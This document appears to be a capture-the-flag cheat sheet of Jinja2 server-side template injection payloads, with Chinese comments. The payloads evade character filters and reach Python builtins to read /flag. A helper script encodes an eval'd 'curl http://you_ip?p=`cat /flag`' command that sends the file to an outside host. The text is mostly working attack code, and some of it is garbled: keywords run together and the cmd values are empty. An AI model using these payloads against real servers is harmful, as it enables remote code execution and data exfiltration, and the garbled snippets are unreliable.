{% set num=dict(aaaaaaaaaaaaaaaaaaaaaaaa=x)|join|count %} # 24 {% set f=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=x)|join|count %} # f的ascii码 {% set l=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=x)|join|count %} {% set aa=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=x)|join|count %} {% set g=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=x)|join|count %} {% set gang=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=x)|join|count %} {% set xx=(()|select|string|list) %} {% set po=dict(po=a,p=a)|join %} {% set x=xx.pop(num) %} {% set ini=x~x~(dict(ini=a,t=a)|join)~x~x %} {% set glob=x~x~(dict(glo=a,bals=a)|join)~x~x %} {% set geti=x~x~(dict(geti=a,tem=a)|join)~x~x %} {% set buil=x~x~(dict(buil=a,tins=a)|join)~x~x %} {% set c=((lipsum|attr(glob)|attr(geti))(buil)) %} {% setchr=c.chr %} {% set file=chr(gang)%2Bchr(f)%2Bchr(l)%2Bchr(aa)%2Bchr(g) %} {% print(c.open(file).read())%}
{% set c=(t|count)%} # 0 {% set cc=(dict(e=a)|join|count)%} {% set ccc=(dict(ee=a)|join|count)%} {% set cccc=(dict(eee=a)|join|count)%} {% set ccccc=(dict(eeee=a)|join|count)%} {% set cccccc=(dict(eeeee=a)|join|count)%} {% set ccccccc=(dict(eeeeee=a)|join|count)%} {% set cccccccc=(dict(eeeeeee=a)|join|count)%} {% set ccccccccc=(dict(eeeeeeee=a)|join|count)%} {% set cccccccccc=(dict(eeeeeeeee=a)|join|count)%} {% set ccccccccccc=(dict(eeeeeeeeee=a)|join|count)%} {% set cccccccccccc=(dict(eeeeeeeeeee=a)|join|count)%} # 10 {% set coun=(ccc~ccccc)|int%} {% set po=dict(po=a,p=a)|join%} {% set a=(()|select|string|list)|attr(po)(coun)%} {% set ini=(a,a,dict(init=a)|join,a,a)|join()%} {% set glo=(a,a,dict(globals=a)|join,a,a)|join()%} {% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%} {% set built=(a,a,dict(builtins=a)|join,a,a)|join()%} {% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%} {% setchr=x.chr%} {% set cmd= %} {%if x.eval(cmd)%} # 使用eval函数,执行curl命令进行外带 abc {%endif%}
cmd的参数我们使用脚本生成:
1 2 3 4 5 6 7 8 9 10 11 12 13
defaaa(t): t='('+(int(t[:-1:])+1)*'c'+'~'+(int(t[-1])+1)*'c'+')|int' return t s='__import__("os").popen("curl http://you_ip?p=`cat /flag`").read()' defccchr(s): t='' for i inrange(len(s)): if i<len(s)-1: t+='chr('+aaa(str(ord(s[i])))+')%2b' else: t+='chr('+aaa(str(ord(s[i])))+')' return t print(ccchr(s))
{% set c=(t|length)%} {% set cc=(dict(e=a)|join|length)%} {% set ccc=(dict(ee=a)|join|length)%} {% set cccc=(dict(eee=a)|join|length)%} {% set ccccc=(dict(eeee=a)|join|length)%} {% set cccccc=(dict(eeeee=a)|join|length)%} {% set ccccccc=(dict(eeeeee=a)|join|length)%} {% set cccccccc=(dict(eeeeeee=a)|join|length)%} {% set ccccccccc=(dict(eeeeeeee=a)|join|length)%} {% set cccccccccc=(dict(eeeeeeeee=a)|join|length)%} {% set ccccccccccc=(dict(eeeeeeeeee=a)|join|length)%} {% set cccccccccccc=(dict(eeeeeeeeeee=a)|join|length)%} {% set coun=(ccc~ccccc)|int%} {% set po=dict(po=a,p=a)|join%} {% set a=(()|select|string|list)|attr(po)(coun)%} {% set ini=(a,a,dict(init=a)|join,a,a)|join()%} {% set glo=(a,a,dict(globals=a)|join,a,a)|join()%} {% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%} {% set built=(a,a,dict(builtins=a)|join,a,a)|join()%} {% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%} {% setchr=x.chr%} {% set cmd= %} {%if x.eval(cmd)%} abc {%endif%}